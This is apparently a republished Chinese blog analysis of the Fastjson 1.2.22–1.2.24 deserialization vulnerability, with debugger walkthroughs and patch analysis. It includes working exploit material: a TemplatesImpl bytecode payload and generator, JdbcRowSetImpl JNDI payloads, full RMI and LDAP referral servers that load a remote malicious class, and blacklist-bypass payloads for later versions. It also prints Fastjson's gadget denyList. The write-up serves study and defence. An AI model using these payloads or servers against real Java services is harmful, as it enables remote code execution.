Fastjson 1.2.22-24 反序列化漏洞分析

Fastjson 1.2.22-24

FastJson在 1.2.22 - 1.2.24 版本中存在反序列化漏洞,主要原因FastJson支持的两个特性:

fastjson反序列化时,JSON字符串中的 @type 字段,用来表明指定反序列化的目标恶意对象类。
fastjson反序列化时,字符串时会自动调用恶意对象的构造方法, setter 方法, getter 方法
  • 1
  • 2

若这类方法中存在利用点,即可完成漏洞利用,而利用方式只要有两种

JdbcRowSetImpl(JNDI)
TemplatesImpl(Feature.SupportNonPublicField)
  • 1
  • 2

环境配置

JDK 1.8
fastjson1.2.22

    <dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.22</version></dependency></dependencies>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

反序列化使用

一个简单的Students类,它有一个公有属性name和一个私有属性age

public class Student {public String name;private int age;
<span class="token keyword">public</span> <span class="token class-name">String</span> <span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">return</span> name<span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setName</span><span class="token punctuation">(</span><span class="token class-name">String</span> name<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">int</span> <span class="token function">getAge</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">return</span> age<span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setAge</span><span class="token punctuation">(</span><span class="token keyword">int</span> age<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>age <span class="token operator">=</span> age<span class="token punctuation">;</span>
<span class="token punctuation">}</span>

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

设置一段json字符串并将其反序列化成Student对象

import com.alibaba.fastjson.JSON;

public class learn {
public static void main(String[] args){
String jsonstring =“{”@type":“Student”:“age”:80,“name”:“ghtwf01”,“sex”:“man”}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

Fastjson反序列化流程分析

在parseObject处下断点,跟进
在这里插入图片描述
第一行将json字符串转化成对象,跟进parse

在这里插入图片描述
继续跟进
在这里插入图片描述这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作
在这里插入图片描述
判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
在这里插入图片描述
因为之前设置了token值为12,这里在第一行会创建一个空的JSONObject,随后会通过parseObject方法进行解析,在解析后有如下操作
在这里插入图片描述
通过scanSymbol获取到@type指定类,然后通过 TypeUtils.loadClass 方法加载Class
在这里插入图片描述
这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类
在这里插入图片描述
接着创建了ObjectDeserializer类并调用了deserialze方法
在这里插入图片描述首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
在这里插入图片描述继续往下调试最后便会调用set和get里面的方法,这样便能成功反序列化。
我这里没有进行区分,这里用parse能成功触发set方法,而parseObject能同时触发了set和get方法,如果我们在get或set方法中存在恶意操作,并且通过autoType进行指定转换就能利于fastjson反序列化漏洞

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类调用其构造方法,造成任意命令执行。TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手,需要开启Feature.SupportNonPublicField,实战中不适用。

poc

先写恶意类TEMPOC.java,用于弹计算器

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet { //这里为什么要继承AbstractTranslet类后面会说。

<span class="token keyword">public</span> <span class="token function">TEMPOC</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">IOException</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">Runtime</span><span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"calc"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name">DTMAxisIterator</span> iterator<span class="token punctuation">,</span> <span class="token class-name">SerializationHandler</span> handler<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>
<span class="token punctuation">}</span><span class="token annotation punctuation">@Override</span>
<span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">transform</span><span class="token punctuation">(</span><span class="token class-name">DOM</span> document<span class="token punctuation">,</span> <span class="token class-name"><span class="token namespace">com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>xml<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>serializer<span class="token punctuation">.</span></span>SerializationHandler</span><span class="token punctuation">[</span><span class="token punctuation">]</span> haFndlers<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">TransletException</span> <span class="token punctuation">{<!-- --></span><span class="token punctuation">}</span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">TEMPOC</span> t <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token function">TEMPOC</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

将其编译成.class文件,然后base64加密,这里贴一个简单的base64脚本,用来加密payload

import base64

fin = open(r“TEMPOC.class”,“rb”)
byte = fin.read()
fout = base64.b64encode(byte).decode(“utf-8”)
poc ={“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“%s”],“_name”:“a.b”,“_tfactory”:{},“_outputProperties”:{ },“_version”:“1.0”,“allowedProtocols”:“all”}% fout
print(poc)

#生成的一个poc
{“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg==”],“_name”:“a.b”,“_tfactory”:{ },“_outputProperties”:{ },“_version”:“1.0”,“allowedProtocols”:“all”}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

PoC中几个重要的Json键的含义:

@type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplFastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes和_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField;
_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
_outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
_tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置;
  • 1
  • 2
  • 3
  • 4

前面的流程差不多,直接断点到不同的部分,进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

在这里插入图片描述
跟进parseField方法,对_bytecodes对应的内容进行解析

在这里插入图片描述

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

在这里插入图片描述

继续跟进FieldDeserializer#setValue方法,这里使用了set方法来设置_bytecodes的值

在这里插入图片描述
这里解析到_outputProperties的内容
在这里插入图片描述这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
在这里插入图片描述跟进TemplatesImpl#getOutputProperties
在这里插入图片描述跟进newTransformer方法
在这里插入图片描述跟进getTransletInstance方法

在这里插入图片描述这里通过defineTransletClasses创建了TEMPOC类并生成了实例,这里往前翻,有对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类
在这里插入图片描述

几个小问题

为什么要继承AbstractTranslet类

就是上面刚说的这个,对父类有验证,所有Payload恶意类要继承自该类
在这里插入图片描述

为什么需要对_bytecodes进行Base64编码

上面说了通过FieldDeserializer#parseField_bytecodes对应的内容进行解析得到对value是base64解码后的内容,那么我们就看一看value值怎么来的在这里插入图片描述FieldDeserializer#parseField
->ObjectArrayCodec#deserialze
->DefaultJSONParser#parseArray
->ObjectDeserializer#deserializer
->JSONScanner#bytesValue

在这里插入图片描述最后会将_bytecodes的内容进行base64解码返回

为什么需要设置_tfactory为{}

在调用defineTransletClasses方法时,若_tfactory为null则会导致代码报错
在这里插入图片描述

JdbcRowSetImpl利用链

实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广,必须能出网,加载远端的恶意字节码,造成了局限性

RMI+JNDI

poc

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
  • 1

服务端JNDIServer.java

public class JNDIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Exloit","badClassName","http://127.0.0.1:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Exploit",referenceWrapper);}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

远程恶意类badClassName.class

public class badClassName {static{try{Runtime.getRuntime().exec("open /System/Applications/Calculator.app");}catch(Exception e){;}}
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

客户端JNDIClient.java

import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
String payload = “{”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://127.0.0.1:1099/badClassName”, “autoCommit”:true}";
JSON.parse(payload);
}
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

LDAP+JNDI

POC和上面基本一样

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
  • 1

LdapServer.java,这里需要unboundid-ldapsdk包

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

<span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">final</span> <span class="token class-name">String</span> LDAP_BASE <span class="token operator">=</span> <span class="token string">"dc=example,dc=com"</span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> main <span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">String</span> url <span class="token operator">=</span> <span class="token string">"http://127.0.0.1:8888/#badClassName"</span><span class="token punctuation">;</span><span class="token keyword">int</span> port <span class="token operator">=</span> <span class="token number">1389</span><span class="token punctuation">;</span><span class="token keyword">try</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">InMemoryDirectoryServerConfig</span> config <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InMemoryDirectoryServerConfig</span><span class="token punctuation">(</span>LDAP_BASE<span class="token punctuation">)</span><span class="token punctuation">;</span>config<span class="token punctuation">.</span><span class="token function">setListenerConfigs</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">InMemoryListenerConfig</span><span class="token punctuation">(</span><span class="token string">"listen"</span><span class="token punctuation">,</span><span class="token class-name">InetAddress</span><span class="token punctuation">.</span><span class="token function">getByName</span><span class="token punctuation">(</span><span class="token string">"0.0.0.0"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>port<span class="token punctuation">,</span><span class="token class-name">ServerSocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token class-name">SocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">(</span><span class="token class-name">SSLSocketFactory</span><span class="token punctuation">)</span> <span class="token class-name">SSLSocketFactory</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>config<span class="token punctuation">.</span><span class="token function">addInMemoryOperationInterceptor</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">OperationInterceptor</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token function">URL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">InMemoryDirectoryServer</span> ds <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">InMemoryDirectoryServer</span><span class="token punctuation">(</span>config<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Listening on 0.0.0.0:"</span> <span class="token operator">+</span> port<span class="token punctuation">)</span><span class="token punctuation">;</span>ds<span class="token punctuation">.</span><span class="token function">startListening</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">catch</span> <span class="token punctuation">(</span> <span class="token class-name">Exception</span> e <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">class</span> <span class="token class-name">OperationInterceptor</span> <span class="token keyword">extends</span> <span class="token class-name">InMemoryOperationInterceptor</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">private</span> <span class="token class-name">URL</span> codebase<span class="token punctuation">;</span><span class="token comment">/****/</span><span class="token keyword">public</span> <span class="token class-name">OperationInterceptor</span> <span class="token punctuation">(</span> <span class="token class-name">URL</span> cb <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token keyword">this</span><span class="token punctuation">.</span>codebase <span class="token operator">=</span> cb<span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token comment">/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/</span><span class="token annotation punctuation">@Override</span><span class="token keyword">public</span> <span class="token keyword">void</span> processSearchResult <span class="token punctuation">(</span> <span class="token class-name">InMemoryInterceptedSearchResult</span> result <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">String</span> base <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">getRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getBaseDN</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">Entry</span> e <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Entry</span><span class="token punctuation">(</span>base<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">try</span> <span class="token punctuation">{<!-- --></span><span class="token function">sendResult</span><span class="token punctuation">(</span>result<span class="token punctuation">,</span> base<span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token keyword">catch</span> <span class="token punctuation">(</span> <span class="token class-name">Exception</span> e1 <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>e1<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">protected</span> <span class="token keyword">void</span> sendResult <span class="token punctuation">(</span> <span class="token class-name">InMemoryInterceptedSearchResult</span> result<span class="token punctuation">,</span> <span class="token class-name">String</span> base<span class="token punctuation">,</span> <span class="token class-name">Entry</span> e <span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">LDAPException</span><span class="token punctuation">,</span> <span class="token class-name">MalformedURLException</span> <span class="token punctuation">{<!-- --></span><span class="token class-name">URL</span> turl <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token function">URL</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">getRef</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token char">'.'</span><span class="token punctuation">,</span> <span class="token char">'/'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token string">".class"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"Send LDAP reference result for "</span> <span class="token operator">+</span> base <span class="token operator">+</span> <span class="token string">" redirecting to "</span> <span class="token operator">+</span> turl<span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaClassName"</span><span class="token punctuation">,</span> <span class="token string">"Exploit"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">String</span> cbstring <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">int</span> refPos <span class="token operator">=</span> cbstring<span class="token punctuation">.</span><span class="token function">indexOf</span><span class="token punctuation">(</span><span class="token char">'#'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span> refPos <span class="token operator">&gt;</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>cbstring <span class="token operator">=</span> cbstring<span class="token punctuation">.</span><span class="token function">substring</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> refPos<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaCodeBase"</span><span class="token punctuation">,</span> cbstring<span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"objectClass"</span><span class="token punctuation">,</span> <span class="token string">"javaNamingReference"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>e<span class="token punctuation">.</span><span class="token function">addAttribute</span><span class="token punctuation">(</span><span class="token string">"javaFactory"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>codebase<span class="token punctuation">.</span><span class="token function">getRef</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>result<span class="token punctuation">.</span><span class="token function">sendSearchEntry</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span>result<span class="token punctuation">.</span><span class="token function">setResult</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">LDAPResult</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token class-name">ResultCode</span><span class="token punctuation">.</span>SUCCESS<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span class="token punctuation">}</span>

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98

LDAPClient.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup(“ldap://127.0.0.1:1389/badClassName”);
}
catch (NamingException e) {
e.printStackTrace();
}
}
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

恶意远程类和上面一样

断点分析

jar!\com\sun\rowset\JdbcRowSetImpl.class进行断点分析,这里通过setDataSourceName(var1);dataSourceName值设置为目标RMI服务的地址
在这里插入图片描述
再跟进到setAutoCommit
在这里插入图片描述
继续跟进到connect()
在这里插入图片描述这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,也就是说我们可控,同时lookup进行利用就造成了JNDI注入漏洞。

补丁分析

1.2.25

我们从1.2.25看如何对其进行修补,就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数:

在这里插入图片描述

checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空),默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。
在这里插入图片描述

denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

运行能看到报错信息,说autoType不支持该类
在这里插入图片描述

1.2.25~1.2.41

增加黑名单判断

Bypass

loadClass时会移除开头的L和结尾的;

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";
  • 1

1.2.42

会先将开头的L和结尾的;移除再进行黑名单判断

Bypass

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:9000/exploit","autoCommit":true}";
  • 1

1.2.43

遇到LL开头的typeName直接抛出异常退出….

1.2.25~1.2.45

绕过黑名单的方式

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
  • 1

Fastjson 1.2.22-1.2.24反序列化漏洞分析

Fastjson系列二——1.2.22-1.2.24反序列化漏洞

Fastjson 反序列化漏洞简析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358066.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

检测到堆栈粉碎

我敢打赌&#xff0c;每一个Java开发人员在他们的职业生涯初期都首次在Java代码中遇到本机方法时都会感到惊讶。 我还可以肯定&#xff0c;多年来随着了解JVM如何通过JNI处理对本机实现的调用而使惊喜消失了。 这篇文章是关于本机方法的最新经验。 更详细地讲&#xff0c;使用…

fastjson反序列化分析

1.fastjson简单使用 User: package com.naihe;public class User {private String name;private int age;public User() {}public User(String name, int age) {this.name name;this.age age;}public String getName() {return name;}public void setName(String name) {th…

银行家算法:解决多线程死锁问题

死锁&#xff1a; 死锁产生的现场&#xff1a;当A进程P S2信号量而B进程P S1信号量时就会产生死锁&#xff0c;因为S2信号量需要B进程释放&#xff0c;而S1信号量需要A进程释放&#xff0c;因此两个进程都在等相互的资源&#xff0c;造成死锁。 死锁产生的条件&#xff1a; 互斥…

转:巧用搜狗输入法输入英文单词

